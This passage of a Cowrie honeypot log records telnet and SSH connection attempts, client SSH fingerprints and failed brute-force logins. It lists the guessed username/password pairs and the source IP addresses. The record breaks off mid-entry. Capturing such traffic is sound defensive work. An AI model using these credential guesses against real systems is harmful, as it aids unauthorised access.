{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44048,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ae9fbed218","protocol":"telnet","message":"New connection: 69.4.83.194:44048 (159.203.135.109:23) [session: 43ae9fbed218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:37.411990Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59476,"dst_ip":"10.17.0.5","dst_port":23,"session":"177b2ba3d1a7","protocol":"telnet","message":"New connection: 178.128.93.180:59476 (10.17.0.5:23) [session: 177b2ba3d1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:39.075858Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d358e23ca422","protocol":"telnet","message":"New connection: 69.4.83.194:45570 (159.203.135.109:23) [session: d358e23ca422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:41.336657Z"}
{"eventid":"cowrie.session.closed","duration":120.00280356407166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:43.884814Z","src_ip":"178.128.93.180","session":"71d4936aa2d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46072,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fba3f74d953","protocol":"telnet","message":"New connection: 69.4.83.194:46072 (159.203.135.109:23) [session: 0fba3f74d953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:45.482915Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48194,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4791348f724","protocol":"ssh","message":"New connection: 103.77.242.62:48194 (159.203.135.109:22) [session: c4791348f724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:50.010581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:50.015363Z","src_ip":"103.77.242.62","session":"c4791348f724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:50.251359Z","src_ip":"103.77.242.62","session":"c4791348f724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"athlon","message":"login attempt [root/athlon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:50.958159Z","src_ip":"103.77.242.62","session":"c4791348f724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:30:52.197956Z","src_ip":"103.77.242.62","session":"c4791348f724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.509458780288696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:09.921354Z","src_ip":"69.4.83.194","session":"43ae9fbed218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48946928977966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:15.826007Z","src_ip":"69.4.83.194","session":"d358e23ca422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca89660a1490","protocol":"telnet","message":"New connection: 69.4.83.194:55898 (159.203.135.109:23) [session: ca89660a1490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:15.956972Z"}
{"eventid":"cowrie.session.closed","duration":0.23873376846313477,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:16.195606Z","src_ip":"69.4.83.194","session":"ca89660a1490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84283518791199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:19.325629Z","src_ip":"69.4.83.194","session":"0fba3f74d953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":79.1072690486908,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:25.245614Z","src_ip":"79.139.59.21","session":"2a6a2cf5257e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":51404,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d7e8e333a02","protocol":"ssh","message":"New connection: 20.205.18.79:51404 (159.203.135.109:22) [session: 6d7e8e333a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:28.243115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:28.248075Z","src_ip":"20.205.18.79","session":"6d7e8e333a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:28.468537Z","src_ip":"20.205.18.79","session":"6d7e8e333a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phil","password":"phil","message":"login attempt [phil/phil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:29.377830Z","src_ip":"20.205.18.79","session":"6d7e8e333a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:30.602158Z","src_ip":"20.205.18.79","session":"6d7e8e333a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:41.559728Z","src_ip":"58.209.82.184","session":"e9d022ba4171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b43daeefa1c","protocol":"telnet","message":"New connection: 69.4.83.194:37902 (159.203.135.109:23) [session: 5b43daeefa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:43.926924Z"}
{"eventid":"cowrie.session.closed","duration":0.2442913055419922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:44.171073Z","src_ip":"69.4.83.194","session":"5b43daeefa1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.75900769233704,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:31:46.834737Z","src_ip":"178.128.93.180","session":"177b2ba3d1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"3960abff0e61","protocol":"ssh","message":"New connection: 101.47.156.21:55234 (10.17.0.5:22) [session: 3960abff0e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:05.133586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:05.145757Z","src_ip":"101.47.156.21","session":"3960abff0e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:05.395153Z","src_ip":"101.47.156.21","session":"3960abff0e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"d3pl0y3r","message":"login attempt [deployer/d3pl0y3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:06.412667Z","src_ip":"101.47.156.21","session":"3960abff0e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:07.662325Z","src_ip":"101.47.156.21","session":"3960abff0e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49996,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d34eebee8b5","protocol":"telnet","message":"New connection: 69.4.83.194:49996 (159.203.135.109:23) [session: 3d34eebee8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:08.898641Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47468,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb674b0e63bc","protocol":"ssh","message":"New connection: 80.66.85.226:47468 (159.203.135.109:22) [session: fb674b0e63bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:09.654394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:09.659801Z","src_ip":"80.66.85.226","session":"fb674b0e63bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:09.743760Z","src_ip":"80.66.85.226","session":"fb674b0e63bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578q","message":"login attempt [root/124578q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:10.001576Z","src_ip":"80.66.85.226","session":"fb674b0e63bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:11.088743Z","src_ip":"80.66.85.226","session":"fb674b0e63bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ea0c1d0bcc","protocol":"telnet","message":"New connection: 178.128.93.180:59442 (10.17.0.5:23) [session: f5ea0c1d0bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:28.210968Z"}
{"eventid":"cowrie.session.closed","duration":34.06217980384827,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:42.960715Z","src_ip":"69.4.83.194","session":"3d34eebee8b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d6946e95ea","protocol":"telnet","message":"New connection: 69.4.83.194:33348 (159.203.135.109:23) [session: 66d6946e95ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:47.161447Z"}
{"eventid":"cowrie.session.closed","duration":1.0542991161346436,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:48.215626Z","src_ip":"69.4.83.194","session":"66d6946e95ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"f200b71bc18b","protocol":"telnet","message":"New connection: 69.4.83.194:39976 (159.203.135.109:23) [session: f200b71bc18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:32:57.979551Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.209.82.184","src_port":53001,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec324967fa7","protocol":"ssh","message":"New connection: 58.209.82.184:53001 (10.17.0.5:22) [session: 0ec324967fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:01.729237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:01.736069Z","src_ip":"58.209.82.184","session":"0ec324967fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:03.518586Z","src_ip":"58.209.82.184","session":"0ec324967fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:04.579589Z","src_ip":"58.209.82.184","session":"0ec324967fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":52806,"dst_ip":"10.17.0.5","dst_port":22,"session":"3335272dd642","protocol":"ssh","message":"New connection: 20.160.86.7:52806 (10.17.0.5:22) [session: 3335272dd642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:08.324587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:08.332748Z","src_ip":"20.160.86.7","session":"3335272dd642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:08.412636Z","src_ip":"20.160.86.7","session":"3335272dd642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@Qwert","message":"login attempt [root/12345@Qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:08.759693Z","src_ip":"20.160.86.7","session":"3335272dd642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:09.841924Z","src_ip":"20.160.86.7","session":"3335272dd642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":41179,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3017b53bb7e","protocol":"ssh","message":"New connection: 88.147.30.59:41179 (10.17.0.5:22) [session: b3017b53bb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:18.668687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:18.673659Z","src_ip":"88.147.30.59","session":"b3017b53bb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-